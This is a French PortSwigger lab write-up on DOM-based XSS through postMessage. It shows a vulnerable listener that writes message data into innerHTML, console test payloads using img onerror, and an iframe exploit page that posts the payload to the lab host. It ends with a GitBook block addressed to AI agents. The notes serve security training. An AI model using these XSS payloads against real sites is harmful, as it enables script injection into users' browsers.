> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/dom/xss-dom-via-web-messages.md).

# XSS DOM via messages Web

Notes sur le XSS DOM via messages Web pour les laboratoires PortSwigger Web Security Academy, y compris le flux de travail d’exploitation, les tests de charge utile, la validation avec Burp Suite et le contexte de remédiation.

### XSS DOM utilisant les messages Web

Exploitez une vulnérabilité DOM basée sur XSS sur des messages Web (`postMessage`) pour provoquer le `print()` fonction soit appelée sur la page cible en envoyant une charge utile via le serveur d'exploitation.

#### Comportement observé (code source)

La page écoute les messages postés et injecte directement le contenu reçu dans `#ads` l'élément sans assainissement :

<pre class="language-html"><code class="lang-html"><strong>&#x3C;script>
</strong>   window.addEventListener('message', function(e) {
   document.getElementById('ads').innerHTML = e.data;
   })
&#x3C;/script>
</code></pre>

Cela signifie que tout `e.data` reçu sera rendu comme HTML dans `#ads`, ouvrant la porte à un XSS DOM si un attaquant peut publier un message contrôlé.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4e255c56293fb7bae9dbab13a428bf3fd17547c1%2Fimage%20(3070).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Tests interactifs (console)

Exemples de messages envoyés depuis la console du parent / d

* message texte simple

```javascript
window.parent.postMessage('This is a test');
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-429f4c132d0eb75347492c18c752075245057e8b%2Fimage%20(3071).png?alt=media" alt=""><figcaption></figcaption></figure>

* injection HTML

```javascript
window.parent.postMessage('<h1>hello</h1>');
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8d1730a94d7071096829b32f0f32006170103a16%2Fimage%20(3072).png?alt=media" alt="" width="490"><figcaption></figcaption></figure>

* test d'alerte (XSS)

```jsx
window.parent.postMessage("<img src='0' onerror=alert(0)>");
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d84d36b99e74e9f1a4b4dfe32e90ec8a05bab60d%2Fimage%20(3073).png?alt=media" alt=""><figcaption></figcaption></figure>

* provoquer `print()` ( lentille du labo)

```javascript
window.parent.postMessage("<img src='0' onerror=print()>");
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f68c2c3630c353a787797ff5fdf2d819d845dd6f%2Fimage%20(3074).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Exploitation via iframe sur le serveur d'exploitation

Exemple du HTML hébergé sur votre serveur qui charge la page cible dans une iframe, puis envoie la charge utile lors du chargement de l'iframe :

```mathml
<iframe
  width="600"
  height="600"
  src="https://0a2300d804f6c0f7810084f10093007d.web-security-academy.net/"
  onload="this.contentWindow.postMessage('This is a test', '*');">
</iframe>
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-49f7c1216c1c946e33a1a7aec7b85211c5bc6d3a%2Fimage%20(3075).png?alt=media" alt=""><figcaption></figcaption></figure>

Pour déclencher `print()` sur la page cible, envoyez la charge utile contenant `img` élément avec `onerror=print()`:

```html
<iframe
  width="600"
  height="600"
  src="https://0a2300d804f6c0f7810084f10093007d.web-security-academy.net/"
  onload="this.contentWindow.postMessage('<img src=0 onerror=print()>', '*');">
</iframe>
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ebf4072e57d42638df89f8e948bd581b7d26a8b5%2Fimage%20(3076).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/fr/web/dom/xss-dom-via-web-messages.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
